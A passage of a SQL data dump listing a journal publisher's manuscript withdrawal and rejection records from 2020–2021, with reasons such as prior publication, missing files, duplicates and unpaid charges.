uploaded','2020-10-05'),(1049,6292,2,NULL,'Withdraw','2020-10-06'),(1050,6296,2,NULL,'Article exists in Endocrinology & Metabolic Syndrome with the title of insight into the pathophysiology of polycystic ovarian syndrome the genes are not to blame','2020-10-07'),(1051,5853,2,NULL,'too short','2020-10-07'),(1052,6141,2,NULL,'no file','2020-10-07'),(1053,6241,2,NULL,'Not this Field','2020-10-07'),(1055,6173,2,NULL,'Article exists in Journal of Community Medicine & Health Education with the title of prevalence of referral rate from primary health care centers to king abdulaziz medical city in western region ministry national guardhealth affairs 2020','2020-10-08'),(1056,6341,2,NULL,'Article exists in Journal of Clinical & Experimental Ophthalmology with the title of eyelid hygiene an often overlooked gateway to healthy eyes','2020-10-08'),(1057,6332,2,'1057-plagrism.docx','Already existed in another Journal','2020-10-08'),(1058,6340,2,NULL,'submitted twice','2020-10-10'),(1059,5975,2,NULL,'Submitted image file (jpg)','2020-10-12'),(1060,6359,2,NULL,'manuscript is in Italian language we requested the author to send the manuscript in english','2020-10-13'),(1061,6387,2,NULL,'Article exists in Natural Products Chemistry & Research with the title of the role of terpene secondary metabolite.','2020-10-13'),(1062,6391,2,NULL,'Article exists in Advances in Crop Science and Technology with the title of genetic variability heritability and genetic advance in ethiopian mustard brassica carinata a braun accessions for nutritional quality traits','2020-10-14'),(1063,6401,2,NULL,'withdrawn','2020-10-15'),(1064,5941,0,NULL,'Revised manuscript not submitted','2020-10-17'),(1065,6169,0,NULL,'Impact factor Issue','2020-10-17'),(1066,5939,0,NULL,'Revised manuscript not submitted','2020-10-17'),(1067,6100,2,NULL,'other language','2020-10-17'),(1068,6327,2,NULL,'Author withdrawn the Article cause the author will publish in the article in another Journal.','2020-10-19'),(1069,6386,2,NULL,'only abstract was submitted','2020-10-19'),(1070,6357,2,NULL,'Article exists in Pharmaceutics & Drug Delivery Research with the title of biodistribution of fluorescence labelled egf protein from slow release nanozolid depots in mouse','2020-10-20'),(1071,6392,2,NULL,'withdrawn','2020-10-20'),(1072,6286,2,NULL,'Submitted in pharmacology bjournal','2020-10-26'),(1073,6480,2,NULL,'Article exists in Advances in Crop Science and Technology with the title of multivariate analysis in some metric traits of ethiopian durum wheat triticum turgidium l var durum genotypes','2020-10-26'),(1074,6490,2,NULL,'already exists','2020-10-27'),(1075,6162,2,NULL,'withdrawn','2020-10-27'),(1076,6493,2,NULL,'blank flie submitted','2020-10-28'),(1077,5946,2,NULL,'Author has not Submitted the complete/proper file. Not interested to submit the file.','2020-10-28'),(1078,6494,2,NULL,'No file Found','2020-10-28'),(1079,4522,2,NULL,'Already published','2020-10-29'),(1080,6508,2,NULL,'Already published','2020-10-29'),(1081,6388,2,NULL,'Article exists in European Journal of Experimental Biology with the title of detection for suspected genetically modified maize and soybean crops in the selcted places of ethiopia using pcr machine\r\nArticle Title Already Exists Choose Another','2020-10-31'),(1082,6559,2,'1082-plagrism.pdf','Fake submission','2020-11-02'),(1083,6551,2,NULL,'already existing in other journal Journal of Preventive Medicine','2020-11-02'),(1084,6546,2,NULL,'Article exists in Advances in Crop Science and Technology with the title of genetic variability heritability and genetic advance in ethiopian mustard brassica carinata a braun accessions for nutritional quality traits','2020-11-02'),(1085,6547,2,NULL,'Duplicate Submission','2020-11-03'),(1086,5998,2,NULL,'Withdrawn because author cannot pay.','2020-11-04'),(1087,6574,2,NULL,'Article exists in Journal of Bioremediation & Biodegradation with the title of the impact of heat change intensity on the prevalence of work-related accidents in isfahan steel industry; a time -series approach','2020-11-04'),(1088,6563,2,NULL,'Out of Scope','2020-11-04'),(1089,6576,2,NULL,'does not fall under the scope of the journal','2020-11-04'),(1090,6555,2,NULL,'article title exists in another journal','2020-11-05'),(1091,6495,2,'1091-plagrism.docx','No file submitted, submitted empty file','2020-11-05'),(1092,6500,2,NULL,'error','2020-11-06'),(1093,6499,2,NULL,'file error','2020-11-06'),(1094,4348,2,NULL,'Already submitted','2020-11-06'),(1095,4422,2,NULL,'Plagiarised','2020-11-06'),(1096,6595,2,NULL,'Submitted only image','2020-11-06'),(1097,6597,2,NULL,'I have to request to retake or withdraw my article as soon as possible. Thanks again, Sincerely: F.Abbasisiar','2020-11-10'),(1098,6608,2,NULL,'Author wants free publication and a complete waive off','2020-11-10'),(1099,6633,2,NULL,'Already submitted','2020-11-12'),(1100,6610,2,NULL,'Withdrawn','2020-11-12'),(1101,6609,2,NULL,'Withdrawn','2020-11-12'),(1102,6328,0,NULL,'conflict of interest among authors','2020-11-12'),(1103,6655,2,NULL,'Already submitted','2020-11-16'),(1104,6662,2,NULL,'Article already submitted in Journal of Bacteriology & Parasitology with the title of impact of parasitic infection on the gut ecology and immune regulation','2020-11-16'),(1105,6472,0,NULL,'Author is not interested to publish and submitted manuscript to some other journal.','2020-11-16'),(1106,6295,0,NULL,'Author is not interested to pay publication charges and not interested to publish article.','2020-11-16'),(1107,6138,0,NULL,'This article is already published.\r\nhttps://www.irjet.net/archives/V7/i8/IRJET-V7I8861.pdf','2020-11-16'),(1108,6607,2,NULL,'Withdraw','2020-11-16'),(1109,6543,2,NULL,'Not appropriate to accept as research article.','2020-11-17'),(1110,6544,2,NULL,'Not appropriate to accept as research paper.','2020-11-17'),(1111,6685,2,NULL,'Article exists in European Journal of Experimental Biology with the title of \"comparison between two automated immunoassay methods for tsh architect ci8200 versus cobas e411\".','2020-11-17'),(1112,6554,2,NULL,'not in scope of journal','2020-11-17'),(1113,6693,2,NULL,'PPT format','2020-11-18'),(1114,6694,2,NULL,'Already submitted','2020-11-19'),(1115,6596,2,NULL,'This is a Duplicate file, Already processed one article with same content.','2020-11-19'),(1116,6578,2,NULL,'This is a Duplicate file, already processed one of the article with the same content','2020-11-19'),(1117,6567,2,NULL,'This is a Duplicate file, already processed one of the article with the same content','2020-11-19'),(1118,6548,2,NULL,'This is a Duplicate file, already processed one of the article with same content','2020-11-19'),(1119,6231,2,NULL,'Blank File, mailed author to submit the file again','2020-11-19'),(1120,5952,2,NULL,'Blank File, mailed author regarding the re submission','2020-11-19'),(1121,5826,2,NULL,'Duplicate file, Already processed the same article','2020-11-19'),(1122,5727,2,NULL,'Blank file, mailed author regarding the re submission','2020-11-19'),(1123,5275,2,NULL,'Blank file, mailed author regarding the re submission','2020-11-19'),(1124,5275,2,NULL,'Blank file, mailed author regarding the re submission','2020-11-19'),(1125,5128,2,NULL,'Blank file, mailed author regarding the re submission','2020-11-19'),(1126,5124,2,NULL,'Blank file, mailed author regarding the re submission','2020-11-19'),(1127,6390,0,NULL,'conflict of interest','2020-11-23'),(1128,6157,0,NULL,'revision not submitted','2020-11-23'),(1129,6723,2,NULL,'no manuscript exists in the attachment.','2020-11-24'),(1130,6737,2,NULL,'English version','2020-11-24'),(1131,5745,0,NULL,'Author him self want to withdraw the article','2020-11-26'),(1132,6246,0,NULL,'revised manuscript not submitted','2020-11-26'),(1133,6738,2,NULL,'not in scope','2020-11-27'),(1134,6680,2,NULL,'Not suitable for the given type of manuscript','2020-11-30'),(1135,6753,2,NULL,'WITHDRAWN','2020-12-01'),(1136,6251,2,NULL,'No details','2020-12-01'),(1138,6717,2,NULL,'Published in other journal','2020-12-02'),(1139,6716,2,NULL,'Approved in other journal','2020-12-02'),(1140,6715,2,NULL,'Approved in other journal','2020-12-02'),(1141,2935,2,NULL,'Author withdraw','2020-12-02'),(1142,6658,2,'1142-plagrism.pdf','Attachment is incorrect.','2020-12-03'),(1143,6658,2,'1143-plagrism.pdf','Attachment is incorrect.','2020-12-03'),(1144,6803,2,NULL,'rejected','2020-12-04'),(1145,6669,2,NULL,'preqc','2020-12-05'),(1146,6816,2,NULL,'article exists in Plant Physiology & Pathology journal.','2020-12-07'),(1147,6682,2,NULL,'Donot submitted complete manuscript','2020-12-07'),(1148,6273,0,NULL,'conflict of interest on publishing the article','2020-12-07'),(1149,6618,0,NULL,'Author does not want to publish','2020-12-08'),(1150,6828,2,'','Already published in https://www.oatext.com/ketosis-as-a-treatment-for-multiple-metabolic-and-neurodegenerative-pathologies.php#gsc.tab=0','2020-12-08'),(1151,6834,2,NULL,'withdrawn','2020-12-08'),(1152,6853,2,'','Already published in https://rajpub.com/index.php/jns/article/view/8118','2020-12-11'),(1153,6847,2,NULL,'b','2020-12-11'),(1154,6819,2,NULL,'Already Published','2020-12-14'),(1155,6861,2,'','Out of Scope','2020-12-15'),(1156,6903,2,'','Repeated twice','2020-12-15'),(1157,6897,2,'','Already published in https://www.omicsonline.org/open-access/dementia-faith-in-science-or-faith-in-pharmacy.pdf','2020-12-15'),(1158,6882,2,NULL,'Wavier','2020-12-17'),(1159,6575,0,NULL,'authors to include additional experimental and resubmission.','2020-12-17'),(1160,6611,2,NULL,'Withdraw','2020-12-18'),(1161,6330,2,NULL,'Already published in WORLD JOURNAL OF ADVANCE HEALTHCARE RESEARCH','2020-12-21'),(1162,6474,2,NULL,'Rejected','2020-12-21'),(1163,6474,2,NULL,'Rejected','2020-12-21'),(1164,6798,2,NULL,'uploaded wrong file and not responding to emails','2020-12-22'),(1165,6900,2,'','File is mismatching with the title provided in tracking','2020-12-30'),(1166,6447,2,'','Repeated twice in same journal','2020-12-30'),(1167,6453,2,'','Already published in https://j-neurooncology.imedpub.com/the-role-of-neurologist-in-the-management-of-brain-tumors-in-this-covid19-era.pdf','2020-12-30'),(1168,6900,2,'','File is mismatching with the title provided in tracking','2020-12-30'),(1169,6771,2,'','Article title and file uploaded mismatching','2020-12-30'),(1170,6771,2,'','Article title and file uploaded mismatching','2020-12-30'),(1171,6895,2,NULL,'Not responding','2020-12-30'),(1172,7011,2,'','Already published in https://academic.oup.com/abbs/article-abstract/52/9/967/5897162?redirectedFrom=fulltext','2020-12-30'),(1173,6874,2,NULL,'not replying to the mails','2020-12-31'),(1174,6933,2,NULL,'Not interested in publishing','2020-12-31'),(1175,6977,2,NULL,'Already submitted the same article','2020-12-31'),(1176,6811,2,NULL,'Double attempt','2021-01-01'),(1177,6972,2,NULL,'No authors details.','2021-01-01'),(1178,6732,0,NULL,'didnot submit revised article and conflict of interest','2021-01-02'),(1179,6969,2,'','Already published in https://www.hilarispublisher.com/open-access/Echocardiography%20Evaluation%20of%20the%20Effects%20of%20Midazolam%20on%20Passive%20Leg%20Raising%20Test%20in%20Critically%20ill%20Patients%20in%20the%20Intensive%20Care%20Unit,%20Diagnosed%20with%20Sepsis,%20determined%20to%20be%20Hypovolemic%20and%20responding%20to%20Fluid%20Treatment.pdf','2021-01-02'),(1180,6895,2,NULL,'Already submitted','2021-01-04'),(1181,7038,2,'','Already published in https://www.wjahr.com/home/article_abstract/584','2021-01-04'),(1182,7025,2,NULL,'Withdrawn','2021-01-04'),(1183,6874,2,NULL,'Author said to withdraw','2021-01-05'),(1184,6446,2,NULL,'Already published','2021-01-07'),(1185,6992,2,NULL,'File not uploaded','2021-01-08'),(1186,6900,2,'','Already published in https://www.scirp.org/journal/paperinformation.aspx?paperid=44479#:~:text=Abstract%3A%20Clifford%20Geertz%20set%20forth,symbols%20will%20determine%20theory%20meaning.&text=Without%2C%20or%20before%2C%20words%20and,ongoing%20flow%20of%20bodily%20sensation.','2021-01-08'),(1187,6771,2,'','Article title and file uploaded mismatching','2021-01-08'),(1188,6874,2,'','Author said to withdraw','2021-01-08'),(1189,6900,2,'','Already published in https://www.scirp.org/journal/paperinformation.aspx?paperid=44479#:~:text=Abstract%3A%20Clifford%20Geertz%20set%20forth,symbols%20will%20determine%20theory%20meaning.&text=Without%2C%20or%20before%2C%20words%20and,ongoing%20flow%20of%20bodily%20sensation.','2021-01-08'),(1190,7010,2,NULL,'withdrawn','2021-01-08'),(1191,6937,2,'','Already accepted in Journal of Clinical Gastroenterology and Hepatology  (ipjcgh)\n  Imedpub','2021-01-11'),(1192,6939,2,'','Wrong file','2021-01-11'),(1193,6975,2,NULL,'Author not responding','2021-01-13'),(1194,7107,2,NULL,'No file','2021-01-15'),(1195,7001,2,NULL,'withdrawn','2021-01-18'),(1196,6667,2,NULL,'withdraw the manuscript','2021-01-18'),(1197,7109,2,NULL,'Preqc Accepted','2021-01-18'),(1198,7119,2,NULL,'Withdraw','2021-01-19'),(1199,7158,2,NULL,'submitted article twice','2021-01-21'),(1200,7170,1,'1200-plagrism.docx','Plagiarism','2021-01-22'),(1201,6923,2,NULL,'Author was Unable to pay','2021-01-22'),(1202,6980,2,NULL,'withdraw due  to our journal not indexed on pubmmed','2021-01-22'),(1203,6780,2,NULL,'.','2021-01-22'),(1204,7146,2,NULL,'Due to Article  publication charge','2021-01-25'),(1205,7146,2,NULL,'Due to Article  publication charge','2021-01-25'),(1206,7146,2,NULL,'Due to Article  publication charge','2021-01-25'),(1207,7146,2,NULL,'Due to Article  publication charge','2021-01-25'),(1208,7210,2,'','Already Published In Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5564162/','2021-01-28'),(1209,7213,2,'','Already Published In Http://www.ijojournals.com/index.php/m/article/view/411','2021-01-28'),(1210,6727,2,NULL,'Not in valid format includes images of other articles.','2021-01-29'),(1211,7234,2,'','Already Published In Http://www.ijojournals.com/index.php/m/article/view/411','2021-01-29'),(1212,7245,2,'','Already Published In Https://www.hilarispublisher.com/open-access/a-rare-case-of-gorhams-disease-of-the-third-finger-managed-by-surgicalreconstruction-2329-6771-1000140.pdf','2021-01-30'),(1213,6868,2,NULL,'withdraw','2021-02-01'),(1214,7249,2,'','Already Published In Https://www.hilarispublisher.com/open-access/bevacizumab-trough-concentration-in-recurrent-glioblastoma-patients-2329-6771-1000138.pdf','2021-02-01'),(1215,7250,2,'','Already Published In Https://www.hilarispublisher.com/open-access/downregulated-mir22-as-predictive-biomarkers-for-prognosis-ofcervical-cancer-2329-6771-1000145.pdf','2021-02-01'),(1216,7251,2,'','Already Published In Https://www.hilarispublisher.com/open-access/evaluation-of-active-hexose-correlated-compound-ahcc-on-phase-iidrug-metabolism-pathways-and-the-implications-for-supplementdruginteractions-2329-6771-1000142.pdf','2021-02-01'),(1217,7253,2,'','Already Published In Https://www.hilarispublisher.com/open-access/impact-of-integrating-petct-in-radiotherapy-planning-of-nonsmall-cellcarcinoma-lung-dosimetric-and-radiobiological-comparison-2329-6771-1000139.pdf','2021-02-01'),(1218,7254,2,'','Already Published In Https://www.hilarispublisher.com/open-access/in-vitro-and-in-vivo-effects-of-antiblastic-loaded-polymethylmethacrylate-pmma-for-the-management-of-bone-metastasis-aliterature-review-2329-6771-1000146.pdf','2021-02-01'),(1219,7255,2,'','Already Published In Https://www.hilarispublisher.com/open-access/kidney-clamp-by-using-intestinal-forceps-during-nephron-sparingsurgery-2329-6771-1000155.pdf','2021-02-01'),(1220,7266,2,'','Out Of Scope','2021-02-01'),(1221,7270,2,NULL,'withdraw','2021-02-01'),(1222,7301,2,'','Wrong Article','2021-02-05'),(1223,7268,2,'','Other Language','2021-02-05'),(1224,7331,2,'','Manuscript Missing','2021-02-09'),(1226,7365,2,'','Already Published In Https://ejbio.imedpub.com/cytoplasm-exchange-in-develop-rabbit-oocytes.pdf','2021-02-12'),(1227,7367,2,'','Already Published In Https://ejbio.imedpub.com/incline-body-mass-impact-dismalness.pdf','2021-02-12'),(1228,7368,2,'','Already Published In Https://ejbio.imedpub.com/a-natural-hypothesis-of-emotions.pdf','2021-02-12'),(1229,7371,2,'','Already Published In Https://academic.oup.com/icesjms/article-abstract/77/7-8/3050/5998290?redirectedFrom=fulltext','2021-02-12'),(1230,7333,2,'','NO File','2021-02-12'),(1231,7381,2,'','Already Published In Https://academic.oup.com/icesjms/article-abstract/77/7-8/3050/5998290?redirectedFrom=fulltext','2021-02-12'),(1232,7299,2,NULL,'incorrect submission by author and want to send the another manuscript later on','2021-02-12'),(1233,7340,2,NULL,'other was interested to publish','2021-02-15'),(1234,7427,2,'','Already Accepted In Journal Of Earth Science & Climatic Change  (jescc)\n  Omicsonline','2021-02-15'),(1235,7431,2,'','File Not Uploaded','2021-02-16'),(1236,7296,2,NULL,'Author is not ready to pay the publication charges','2021-02-17'),(1237,7452,2,'','Already Submitted To Research & Reviews: Journal Of Material Sciences  (joms)\n  RROIJ','2021-02-17'),(1238,7455,2,'','Already Accepted In Clinical Immunology And Infectious Diseases  (ipciid)\n  Imedpub','2021-02-17'),(1239,7456,2,'','Same Article Accepted In Clinical Immunology And Infectious Diseases  (ipciid)\n  Imedpub','2021-02-17'),(1240,7457,2,'','Same Article Accepted In Clinical Immunology And Infectious Diseases  (ipciid)\n  Imedpub','2021-02-17'),(1241,7456,2,'','Same Article Accepted In Clinical Immunology And Infectious Diseases (ipciid)\\\\n Imedpub','2021-02-17'),(1242,7457,2,'','Same Article Accepted In Clinical Immunology And Infectious Diseases (ipciid)\\\\n Imedpub','2021-02-17'),(1243,7461,2,'','No File','2021-02-18'),(1244,7488,2,'','Duplicate Article In The Same Journal','2021-02-19'),(1245,7438,2,NULL,'Submitted twice','2021-02-20'),(1247,7507,2,'','Out Of Scope','2021-02-22'),(1248,6661,2,NULL,'SUBMITTED TWICE','2021-02-23'),(1249,7529,2,'','This Is Not An Article','2021-02-24'),(1250,6510,2,NULL,'Author was not interested','2021-02-26'),(1251,7593,2,NULL,'incomplete file','2021-02-27'),(1252,7565,2,NULL,'Withdrawn','2021-03-02'),(1253,7564,2,NULL,'Withdrawn','2021-03-02'),(1254,7563,2,NULL,'Withdrawn','2021-03-02'),(1255,7560,2,NULL,'Withdrawn','2021-03-02'),(1256,7561,2,NULL,'Withdrawn','2021-03-02'),(1257,7584,2,NULL,'Self written','2021-03-02'),(1258,7585,2,NULL,'selfwritten','2021-03-02'),(1259,7586,2,NULL,'selfwritten','2021-03-02'),(1260,7587,2,NULL,'selfwritten','2021-03-02'),(1261,7588,2,NULL,'selfwritten','2021-03-02'),(1262,7632,2,'','No File','2021-03-02'),(1263,7631,2,'','No File','2021-03-02'),(1264,7607,2,'','Duplicate','2021-03-02'),(1265,7570,2,NULL,'self written article','2021-03-02'),(1266,7569,2,NULL,'self written articles','2021-03-02'),(1267,7618,2,NULL,'submitted in other journal','2021-03-02'),(1268,7612,2,'','Already Published In Http://www.ijrhss.org/papers/v6-i8/5.pdf','2021-03-02'),(1269,7615,2,NULL,'already submitted','2021-03-03'),(1270,7666,2,NULL,'its revised submission','2021-03-03'),(1271,7625,2,NULL,'Author is not willing to publish.','2021-03-03'),(1272,7685,2,'','Already Accepted In Journal Of Pediatric Care  (ipjpc)\n  Imedpub On 05-03-2021','2021-03-05'),(1273,7691,2,'','Duplicate Article In The Same Journal','2021-03-06'),(1274,7705,2,'','No File','2021-03-09'),(1275,7710,2,'','Already Published In Https://www.aextj.com/index.php/aextj/article/view/231/136','2021-03-09'),(1276,7711,2,'','Already Published In Https://irispublishers.com/abeb/fulltext/prerequisites-for-the-moisture-supply-of-gricultural-land-to-achieve-ecological-pure-crops-in-azerbaijan.ID.000587.php','2021-03-09'),(1277,7722,2,'','Already Published In Https://irispublishers.com/abeb/fulltext/prerequisites-for-the-moisture-supply-of-gricultural-land-to-achieve-ecological-pure-crops-in-azerbaijan.ID.000587.php','2021-03-09'),(1278,7694,2,NULL,'Author send Only image, & we are asking about word document but we fail to receive a response from the author hence withdrawn this article.','2021-03-11'),(1279,7694,0,NULL,'Author send Only image, & we are asking about word document but we fail to receive a response from the author hence withdrawn this article.','2021-03-11'),(1280,7783,2,NULL,'Wrong submission','2021-03-15'),(1281,7821,2,'','Already Published In Https://www.heighpubs.org/jnpr/jnpr-aid1034.php','2021-03-17'),(1282,7812,2,'','Duplicate Article In The Same Journal','2021-03-17'),(1283,7813,2,'','Already Published In Https://www.scitechnol.com/peer-review/synergistic-effect-of-cefoperazone-and-warfarin-leading-to-fatal-coagulopathy-in-patients-on-warfarin-therapy-after-valve-replacem-jla1.php?article_id=11486','2021-03-17'),(1285,7826,2,'','Out Of Scope','2021-03-17'),(1286,6474,2,'1286-plagrism.pdf','Asking for free publication','2021-03-18'),(1287,6778,2,'1287-plagrism.docx','Already Published in other Journal.','2021-03-22'),(1288,6778,2,'1288-plagrism.docx','Already Published in other Journal.','2021-03-22'),(1289,7869,2,NULL,'Author uploaded the article twice','2021-03-22'),(1290,7885,2,'','No File','2021-03-23'),(1291,7902,2,'','Already Approved In Journal Of Earth Science & Climatic Change  (jescc)\n  Omicsonline','2021-03-24'),(1292,7863,2,NULL,'Revised Submission. Author submitted as New Submission.','2021-03-26'),(1293,7941,2,'','Out Of Scope','2021-03-26'),(1294,8001,2,NULL,'Not in the field','2021-03-29'),(1295,8000,2,NULL,'Not in the field','2021-03-29'),(1296,7795,2,'1296-plagrism.PDF','Not interested to the Article processing charges .','2021-03-31'),(1297,7796,2,'1297-plagrism.pdf','Not interested to the Article processing charges .','2021-03-31'),(1298,7796,2,'1298-plagrism.pdf','Not interested to the Article processing charges .','2021-03-31'),(1299,8044,2,NULL,'PDF is wrong uploaded.','2021-03-31'),(1300,7983,2,NULL,'Article two time uploaded.','2021-04-01'),(1301,5375,0,NULL,'Published in other journal','2021-04-03'),(1302,7085,2,NULL,'Already Published (https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3763767)','2021-04-06'),(1303,6427,2,NULL,'Already Published (https://www.hsj.gr/medicine/is-procalcitonin-and-lactate-a-earlymarkers-for-sepsis-in-newborns-in-the-icu.php?aid=33226#:~:text=Early%20detection%20of%20this%20disease,for%20early%20detection%20of%20sepsis.)','2021-04-06'),(1304,7140,2,NULL,'.','2021-04-06'),(1305,5329,2,'','Already Published In Https://anaesthesia-painmedicine.imedpub.com/ketamine-a-multipurpose-agent-with-broad-based-therapeutic-uses-in-psychiatry-and-anaesthesia.pdf','2021-04-08'),(1306,8098,0,NULL,'Author wants to publish his article some other journal.','2021-04-09'),(1307,8121,2,'','No File','2021-04-09'),(1308,8125,2,'','Repeated Twice','2021-04-09'),(1309,8123,2,NULL,'author submitted twice','2021-04-12'),(1310,8124,2,NULL,'author submitted twice','2021-04-14'),(1311,8190,2,NULL,'Submitted Twice','2021-04-16'),(1312,7831,2,'1312-plagrism.pdf','He could only pay 1000Rs.','2021-04-19'),(1313,8201,2,'','Already Accepted In Community Medicine & Health Education  (jcmhe)\n  Omicsonline','2021-04-19'),(1314,8221,2,NULL,'withdrwan','2021-04-20'),(1315,8205,2,NULL,'revised manuscript','2021-04-21'),(1316,8187,2,NULL,'Revised manuscript','2021-04-21'),(1317,7260,0,NULL,'Author has not responding for Revised submission after several follow up (email and calls) hence withdrawing this article.','2021-04-21'),(1318,8220,2,'','Out Of Scope','2021-04-21'),(1319,8222,2,'','Out Of Scope','2021-04-21'),(1320,8256,2,'','No File','2021-04-26'),(1321,8257,2,'','Already Approved In Cancer Surgery  (cns)\n  Omicsonline','2021-04-26'),(1322,8258,2,'','Already Published In Http://www.remedypublications.com/open-access/a-sudanese-male-with-jaccoudrsquos-arthropathy-case-report-6613.pdf?__cf_chl_jschl_tk__=68fff0116b4304aa3301ec39e6d25c7b91dfce6e-1619418899-0-Aa3MtvL9nXxuSdfnse418GMg-Xrw5f28X2pZCDJ9LuVI67iC8ApGV8Gr3Wv50P5z1UUU1bKsop7KoV7XUAOjVPanBb0L_4hPOObHEf1UsvQ16mpysB6Sb25Tr2Abahj24cZu_X19fHpE2vImyBXO1_Kivr1lOeEDrNjHdp4s6rAnizU75KNUrM-IT91C9XkWgixLwLmFYCs8MFBdBbNoOkfSVClqJjpn4fs78uLKpazcx6V0_lH5UQUo4iKuEteW5oQDUrS0TiR7F1oJ_e2-9GKn76C3RU39sM7Td41zSZTpa15Vc71PEeA6gkXPBFh5PRvFTXysE7qWPzSoJkxOYeUw0t36P88dAINYo3NTuSS2dPCI0iDkm8uZ4wVsE7OGW3CcQBcwmSqrT9QK1wXC8AJacS8zVeW8KEXmjuiKS6C4AvjqVIzVCJZ1fMdtkW4zPtMujL5K8FsiiNagAIg6MucjL0ha8fnHLlP7GRc4KKXl','2021-04-26'),(1323,8259,2,'','Already Published In Https://www.longdom.org/open-access/strongyloides-stercoralis-infection-in-a-case-of-ankylosing-spondylitis.pdf','2021-04-26'),(1324,8289,2,NULL,'wrongly uploaded','2021-04-26'),(1325,7861,2,NULL,'Duplicate submission','2021-04-27'),(1326,8317,2,'','Already Published In Https://pubmed.ncbi.nlm.nih.gov/33107139/','2021-04-28'),(1327,8325,2,NULL,'-','2021-04-28'),(1328,8327,2,'','Already Published In Https://www.openaccessjournals.com/articles/iatrogenic-coronary-artery-dissection-a-surgical-perspective.pdf','2021-04-29'),(1329,8337,2,NULL,'Wrong manuscript','2021-04-29'),(1330,8346,2,NULL,'Already published','2021-04-30'),(1331,8368,2,NULL,'wrongly uploaded','2021-05-03'),(1332,8369,2,NULL,'wrongly uploaded','2021-05-03'),(1333,7757,0,NULL,'Author want to withdrawn article.','2021-05-04'),(1334,8378,2,'','Already Approved In Journal Of Regenerative Medicine  (jrgm)\n  Scitechnol','2021-05-05'),(1335,8430,2,'','Invalid','2021-05-10'),(1336,8428,2,'','Duplicate Article','2021-05-10'),(1337,8437,2,'','Invalid File','2021-05-11'),(1338,8438,2,'','Invalid File','2021-05-11'),(1339,8457,2,'','Invalid File','2021-05-12'),(1340,8485,2,'','Invalid File','2021-05-15'),(1341,8516,2,NULL,'Not interested to publish this article','2021-05-17'),(1342,8529,2,NULL,'Already found another journal','2021-05-19'),(1343,8547,2,'','Invalid','2021-05-19'),(1344,8580,2,'','Already Published In Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3894729/#:~:text=A%20controlled%20porosity%20osmotic%20pump%20comprising%20a%20tablet%20coated%20with,been%20developed%20for%20ketorolac%20tromethamine.&text=SEM%20studies%20showed%20formation%20of,membrane%20in%20the%20dissolution%20medium.','2021-05-21'),(1345,8590,2,'','Already Published In Https://www.sciencedirect.com/science/article/abs/pii/S2468784720302828?via%3Dihub','2021-05-21'),(1346,8658,2,NULL,'wrong upload','2021-05-24'),(1347,8680,2,'','Already Published In Https://www.scitechnol.com/peer-review/synergistic-effect-of-cefoperazone-and-warfarin-leading-to-fatal-coagulopathy-in-patients-on-warfarin-therapy-after-valve-replacem-jla1.php?article_id=11486','2021-05-26'),(1348,8684,2,'','Already Published In Https://www.thieme-connect.com/products/ejournals/pdf/10.1055/s-0040-1713360.pdf','2021-05-26'),(1349,6817,2,NULL,'Withdrawn','2021-05-28'),(1350,6817,2,NULL,'Withdrawn','2021-05-28'),(1351,6817,2,NULL,'Withdrawn','2021-05-28'),(1352,6817,2,NULL,'Withdrawn','2021-05-28'),(1353,6817,2,NULL,'Withdrawn','2021-05-28'),(1354,8740,2,'','Already Published In Https://journals.lww.com/pedpt/Fulltext/2007/01930/Normative_Values_for_Active_Lumbar_Range_of_Motion.9.aspx','2021-05-29'),(1355,8750,1,'1355-plagrism.docx','plagarrism','2021-05-29'),(1356,8400,2,NULL,'withdrawn','2021-05-29'),(1357,8773,2,'','No File','2021-06-01'),(1358,8709,0,NULL,'Article already published','2021-06-01'),(1359,8801,2,NULL,'File is different.','2021-06-02'),(1360,8793,2,'','Already Published In Https://www.hilarispublisher.com/open-access/physical-model-of-the-economic-development.pdf','2021-06-02'),(1361,6983,0,NULL,'It is already published in INTERNATIONAL JOURNAL OF PHARMACEUTICAL INVESTIGATION','2021-06-03'),(1362,8493,2,NULL,'Author want to withdraw','2021-06-04'),(1363,8771,2,NULL,'Article in english language only','2021-06-09'),(1365,8861,2,'','Already Published In Https://www.longdom.org/open-access/normalising-homosexuality.pdf','2021-06-10'),(1366,8904,2,'','Invalid File','2021-06-16'),(1367,8941,2,'','Already Approved In International Journal Of Cardiovascular Research  (icrj)\n  Scitechnol','2021-06-17'),(1368,8926,2,'','No File','2021-06-17'),(1369,8952,2,'','Already Published In Https://www.thegms.co/nephrology/nephro-pr-20081006.pdf','2021-06-18'),(1370,8949,2,'','No File','2021-06-18'),(1371,8955,2,'','No File','2021-06-18'),(1372,8964,2,'','No File','2021-06-19'),(1373,8985,2,'','Already Published In Https://www.sciforschenonline.org/journals/nutrition-food/article-data/NFTOA171/NFTOA171.pdf','2021-06-21'),(1374,8986,2,'','Already Published In Https://www.sciforschenonline.org/journals/nutrition-food/article-data/NFTOA171/NFTOA171.pdf','2021-06-21'),(1375,8108,0,NULL,'Reviewer has given Reject comments for this manuscript hence I am withdrawing this article.','2021-06-21'),(1376,8989,2,'','Already Approved In Journal Of Computer Engineering And Information Technology  (jceit)\n  Scitechnol','2021-06-21'),(1377,9007,2,'','Already Published In Https://www.longdom.org/open-access/prevalence-and-incidence-of-cassava-manihot-esculenta-brown-leaf-spot-disease-caused-by-cercospora-heningsii-in-macuata-.pdf','2021-06-22'),(1378,9014,2,'','Already Approved In Research & Reviews: Research Journal Of Biology  (job)\n  RROIJ','2021-06-22'),(1379,9021,2,'','Already Published In Https://www.openaccessjournals.com/articles/clinical-presentation-of-psoriatic-arthritis-among-sudanese-hospital-based-study.pdf','2021-06-24'),(1380,9060,2,'','No File','2021-06-24'),(1381,9054,2,'','Duplicate Article In The Same Journal','2021-06-24'),(1382,9061,2,'','No File','2021-06-24'),(1383,9080,2,NULL,'Author submitted to our journal by mistake and requested to withdraw the article.','2021-06-28'),(1384,9097,2,'','Not A Research Article','2021-06-28'),(1385,9120,2,NULL,'Author details are missing (self written article).','2021-06-28'),(1386,9120,2,NULL,'Author details are missing (self written article).','2021-06-28'),(1387,9109,2,'','Already Published In Https://bmjopen.bmj.com/content/bmjopen/11/4/e042423.full.pdf','2021-06-29'),(1388,9121,2,NULL,'Author details are missing (self written article).','2021-06-29'),(1389,9123,2,NULL,'Author details are missing (self written article).','2021-06-29'),(1390,9139,2,NULL,'Attachment is wrong according to the title.','2021-06-29'),(1391,8283,2,'1391-plagrism.pdf','Price Concerns','2021-07-01'),(1392,9176,2,'','Already Published In 